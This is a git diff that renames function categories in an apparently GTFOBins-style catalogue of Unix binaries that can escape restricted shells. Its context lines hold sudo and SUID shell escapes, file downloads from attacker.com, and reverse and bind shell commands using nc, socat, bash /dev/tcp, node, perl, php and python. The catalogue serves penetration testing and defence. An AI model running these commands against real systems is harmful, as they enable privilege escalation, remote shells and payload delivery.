diff --git a/_data/functions.yml b/_data/functions.yml
index 7a3d5e9..c5d5771 100644
--- a/_data/functions.yml
+++ b/_data/functions.yml
@@ -1,9 +1,9 @@
-exec-interactive:
- label: Interactive
+execute-interactive:
+ label: Interactive execute
description: It executes interactive commands that may be exploited to break out from restricted shells.
-exec-non-interactive:
- label: Non-interactive
+execute-non-interactive:
+ label: Non-interactive execute
description: It executes non-interactive commands that may be exploited to break out from restricted shells.
suid-enabled:
@@ -26,18 +26,14 @@ upload:
label: Upload
description: It can exfiltrate files on the network.
-bind-shell:
- label: Bind shell
+bind-shell-interactive:
+ label: Interactive bind shell
description: It can bind a shell to a local port to allow remote network access.
-reverse-shell:
- label: Reverse shell
+reverse-shell-interactive:
+ label: Interactive reverse shell
description: It can send back a reverse shell to a listening attacker to open a remote network access.
-load-library:
- label: Library load
- description: It loads shared libraries that may be used to run code in the binary execution context.
-
bind-shell-non-interactive:
label: Non-interactive bind shell
description: It can bind a non-interactive shell to a local port to allow remote network access.
@@ -45,3 +41,7 @@ bind-shell-non-interactive:
reverse-shell-non-interactive:
label: Non-interactive reverse shell
description: It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.
+
+load-library:
+ label: Library load
+ description: It loads shared libraries that may be used to run code in the binary execution context.
diff --git a/_gtfobins/ash.md b/_gtfobins/ash.md
index cfff65a..8963e7a 100644
--- a/_gtfobins/ash.md
+++ b/_gtfobins/ash.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: ash
sudo-enabled:
- code: sudo ash
diff --git a/_gtfobins/awk.md b/_gtfobins/awk.md
index 1ae286b..c6fa9b7 100644
--- a/_gtfobins/awk.md
+++ b/_gtfobins/awk.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: awk 'BEGIN {system("/bin/sh")}'
sudo-enabled:
- code: sudo awk 'BEGIN {system("/bin/sh")}'
diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md
index d2b6f5c..4eb23cf 100644
--- a/_gtfobins/bash.md
+++ b/_gtfobins/bash.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: bash
sudo-enabled:
- code: sudo bash
@@ -34,7 +34,7 @@ functions:
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
diff --git a/_gtfobins/csh.md b/_gtfobins/csh.md
index e5890be..a112601 100644
--- a/_gtfobins/csh.md
+++ b/_gtfobins/csh.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: csh
sudo-enabled:
- code: sudo csh
diff --git a/_gtfobins/dash.md b/_gtfobins/dash.md
index 5bf6f76..8b93d4d 100644
--- a/_gtfobins/dash.md
+++ b/_gtfobins/dash.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: dash
sudo-enabled:
- code: sudo dash
diff --git a/_gtfobins/ed.md b/_gtfobins/ed.md
index d0c7a6c..b85d737 100644
--- a/_gtfobins/ed.md
+++ b/_gtfobins/ed.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
ed
!/bin/sh
diff --git a/_gtfobins/emacs.md b/_gtfobins/emacs.md
index 2655229..b8bc630 100644
--- a/_gtfobins/emacs.md
+++ b/_gtfobins/emacs.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: emacs -Q -nw --eval '(term "/bin/sh")'
sudo-enabled:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
diff --git a/_gtfobins/env.md b/_gtfobins/env.md
index b3e014f..e0b5368 100644
--- a/_gtfobins/env.md
+++ b/_gtfobins/env.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: env /bin/sh
sudo-enabled:
- code: sudo env /bin/sh
diff --git a/_gtfobins/expect.md b/_gtfobins/expect.md
index 9cd0f3d..421084a 100644
--- a/_gtfobins/expect.md
+++ b/_gtfobins/expect.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: expect -c 'spawn /bin/sh;interact'
sudo-enabled:
- code: sudo expect -c 'spawn /bin/sh;interact'
diff --git a/_gtfobins/find.md b/_gtfobins/find.md
index 433fadb..2305f6b 100644
--- a/_gtfobins/find.md
+++ b/_gtfobins/find.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: find . -exec /bin/sh \; -quit
sudo-enabled:
- code: sudo find . -exec /bin/sh \; -quit
diff --git a/_gtfobins/ftp.md b/_gtfobins/ftp.md
index 35e642e..c8647d6 100644
--- a/_gtfobins/ftp.md
+++ b/_gtfobins/ftp.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
ftp
!/bin/sh
diff --git a/_gtfobins/gdb.md b/_gtfobins/gdb.md
index c1bd0fc..186c64e 100644
--- a/_gtfobins/gdb.md
+++ b/_gtfobins/gdb.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: gdb -nx -ex '!sh' -ex quit
sudo-enabled:
- code: sudo gdb -nx -ex '!sh' -ex quit
diff --git a/_gtfobins/ionice.md b/_gtfobins/ionice.md
index bb95116..6866485 100644
--- a/_gtfobins/ionice.md
+++ b/_gtfobins/ionice.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: ionice /bin/sh
sudo-enabled:
- code: sudo ionice /bin/sh
diff --git a/_gtfobins/ld.so.md b/_gtfobins/ld.so.md
index 2edbb4e..84d96a4 100644
--- a/_gtfobins/ld.so.md
+++ b/_gtfobins/ld.so.md
@@ -7,7 +7,7 @@ description: |
/lib64/ld-linux-x86-64.so.2
```
functions:
- exec-interactive:
+ execute-interactive:
- code: /lib/ld.so /bin/sh
sudo-enabled:
- code: sudo /lib/ld.so /bin/sh
diff --git a/_gtfobins/less.md b/_gtfobins/less.md
index 6a0d293..07f76c4 100644
--- a/_gtfobins/less.md
+++ b/_gtfobins/less.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
less /etc/profile
!/bin/sh
diff --git a/_gtfobins/man.md b/_gtfobins/man.md
index f706b14..e25fa87 100644
--- a/_gtfobins/man.md
+++ b/_gtfobins/man.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
man man
!/bin/sh
diff --git a/_gtfobins/more.md b/_gtfobins/more.md
index 73c0fd4..0e50f41 100644
--- a/_gtfobins/more.md
+++ b/_gtfobins/more.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
TERM= more /etc/profile
!/bin/sh
diff --git a/_gtfobins/nc.md b/_gtfobins/nc.md
index c65aae2..f3d5e76 100644
--- a/_gtfobins/nc.md
+++ b/_gtfobins/nc.md
@@ -14,13 +14,13 @@ functions:
LPORT=12345
LFILE=where_to_save
nc -l -p $LPORT > "$LFILE"
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
nc -e /bin/sh $RHOST $RPORT
- bind-shell:
+ bind-shell-interactive:
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
code: |
LPORT=12345
diff --git a/_gtfobins/node.md b/_gtfobins/node.md
index 67cb023..9c9aa35 100644
--- a/_gtfobins/node.md
+++ b/_gtfobins/node.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
sudo-enabled:
@@ -9,7 +9,7 @@ functions:
suid-enabled:
- code: |
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
@@ -20,7 +20,7 @@ functions:
sh.stdout.pipe(this);
sh.stderr.pipe(this);
});'
- bind-shell:
+ bind-shell-interactive:
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
code: |
export LPORT=12345
diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md
index d26420b..c423a7f 100644
--- a/_gtfobins/perl.md
+++ b/_gtfobins/perl.md
@@ -1,12 +1,12 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: perl -e 'exec "/bin/sh";'
sudo-enabled:
- code: sudo perl -e 'exec "/bin/sh";'
suid-enabled:
- code: ./perl -e 'exec "/bin/sh";'
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
diff --git a/_gtfobins/php.md b/_gtfobins/php.md
index 34b3ad4..d56499e 100644
--- a/_gtfobins/php.md
+++ b/_gtfobins/php.md
@@ -1,6 +1,6 @@
---
functions:
- exec-non-interactive:
+ execute-non-interactive:
- code: |
export CMD="ls /"
php -r 'system(getenv("CMD"));'
@@ -39,7 +39,7 @@ functions:
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
diff --git a/_gtfobins/python2.md b/_gtfobins/python2.md
index 835f5a6..1b64190 100644
--- a/_gtfobins/python2.md
+++ b/_gtfobins/python2.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: python2 -c 'import os; os.system("/bin/sh")'
sudo-enabled:
- code: sudo python2 -c 'import os; os.system("/bin/sh")'
@@ -22,7 +22,7 @@ functions:
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
- reverse-shell:
+ reverse-shell-interactive:
- description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345
on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
diff --git a/_gtfobins/python3.md b/_gtfobins/python3.md
index 3d9ffca..9342130 100644
--- a/_gtfobins/python3.md
+++ b/_gtfobins/python3.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: python3 -c 'import os; os.system("/bin/sh")'
sudo-enabled:
- code: sudo python3 -c 'import os; os.system("/bin/sh")'
@@ -22,7 +22,7 @@ functions:
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
- reverse-shell:
+ reverse-shell-interactive:
- description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345
on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
diff --git a/_gtfobins/rpm.md b/_gtfobins/rpm.md
index d52e84c..67d2f53 100644
--- a/_gtfobins/rpm.md
+++ b/_gtfobins/rpm.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: rpm --eval '%{lua:posix.exec("/bin/sh")}'
sudo-enabled:
- code: sudo rpm --eval '%{lua:posix.exec("/bin/sh")}'
diff --git a/_gtfobins/rpmquery.md b/_gtfobins/rpmquery.md
index 5654fc5..5d9eee1 100644
--- a/_gtfobins/rpmquery.md
+++ b/_gtfobins/rpmquery.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
sudo-enabled:
- code: sudo rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
diff --git a/_gtfobins/ruby.md b/_gtfobins/ruby.md
index 66b3cea..8335338 100644
--- a/_gtfobins/ruby.md
+++ b/_gtfobins/ruby.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: ruby -e 'exec "/bin/sh"'
sudo-enabled:
- code: sudo ruby -e 'exec "/bin/sh"'
@@ -9,7 +9,7 @@ functions:
code: |
export LPORT=8888
ruby -run -e httpd . -p $LPORT
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
diff --git a/_gtfobins/scp.md b/_gtfobins/scp.md
index 08ec9d1..870b69f 100644
--- a/_gtfobins/scp.md
+++ b/_gtfobins/scp.md
@@ -1,6 +1,6 @@
---
functions:
- exec-non-interactive:
+ execute-non-interactive:
- code: |
TF=$(mktemp)
CMD="id"
diff --git a/_gtfobins/setarch.md b/_gtfobins/setarch.md
index bbd73f9..af80824 100644
--- a/_gtfobins/setarch.md
+++ b/_gtfobins/setarch.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: setarch $(arch) /bin/sh
sudo-enabled:
- code: sudo setarch $(arch) /bin/sh
diff --git a/_gtfobins/sftp.md b/_gtfobins/sftp.md
index 0bcbaeb..ef10773 100644
--- a/_gtfobins/sftp.md
+++ b/_gtfobins/sftp.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
HOST=user@attacker.com
sftp $HOST
diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md
index 5418a54..e50102d 100644
--- a/_gtfobins/socat.md
+++ b/_gtfobins/socat.md
@@ -1,12 +1,12 @@
---
functions:
- reverse-shell:
+ reverse-shell-interactive:
- description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345
on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
- bind-shell:
+ bind-shell-interactive:
- description: Run socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
on the attacker box to connect to the shell.
code: |
LPORT=12345
diff --git a/_gtfobins/ssh.md b/_gtfobins/ssh.md
index 831f0aa..774a9c2 100644
--- a/_gtfobins/ssh.md
+++ b/_gtfobins/ssh.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- description: Reconnecting may help bypassing restricted shells.
code: ssh localhost /bin/bash --noprofile --norc
download:
diff --git a/_gtfobins/strace.md b/_gtfobins/strace.md
index 1a23aa0..61374f4 100644
--- a/_gtfobins/strace.md
+++ b/_gtfobins/strace.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: strace -o /dev/null /bin/sh
sudo-enabled:
- code: sudo strace -o /dev/null /bin/sh
diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md
index b7ed7d4..e823db5 100644
--- a/_gtfobins/tar.md
+++ b/_gtfobins/tar.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo-enabled:
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
diff --git a/_gtfobins/taskset.md b/_gtfobins/taskset.md
index 9042146..78630bb 100644
--- a/_gtfobins/taskset.md
+++ b/_gtfobins/taskset.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: taskset 1 /bin/sh
sudo-enabled:
- code: sudo taskset 1 /bin/sh
diff --git a/_gtfobins/tclsh.md b/_gtfobins/tclsh.md
index c7ae1f4..f233314 100644
--- a/_gtfobins/tclsh.md
+++ b/_gtfobins/tclsh.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md
index f45e28a..bc48656 100644
--- a/_gtfobins/telnet.md
+++ b/_gtfobins/telnet.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- description: BSD version only. Needs to be connected first.
code: |
RHOST=attacker.com
@@ -8,7 +8,7 @@ functions:
telnet $RHOST $RPORT
^]
!/bin/sh
- reverse-shell:
+ reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md
index 1c67ae5..41520ca 100644
--- a/_gtfobins/vi.md
+++ b/_gtfobins/vi.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: vi -c ':!/bin/sh'
- code: |
vi
diff --git a/_gtfobins/wish.md b/_gtfobins/wish.md
index 230c0e9..a65439e 100644
--- a/_gtfobins/wish.md
+++ b/_gtfobins/wish.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: |
wish
exec /bin/sh <@stdin >@stdout 2>@stderr
diff --git a/_gtfobins/zsh.md b/_gtfobins/zsh.md
index 15cc1b3..1db7501 100644
--- a/_gtfobins/zsh.md
+++ b/_gtfobins/zsh.md
@@ -1,6 +1,6 @@
---
functions:
- exec-interactive:
+ execute-interactive:
- code: zsh
sudo-enabled:
- code: sudo zsh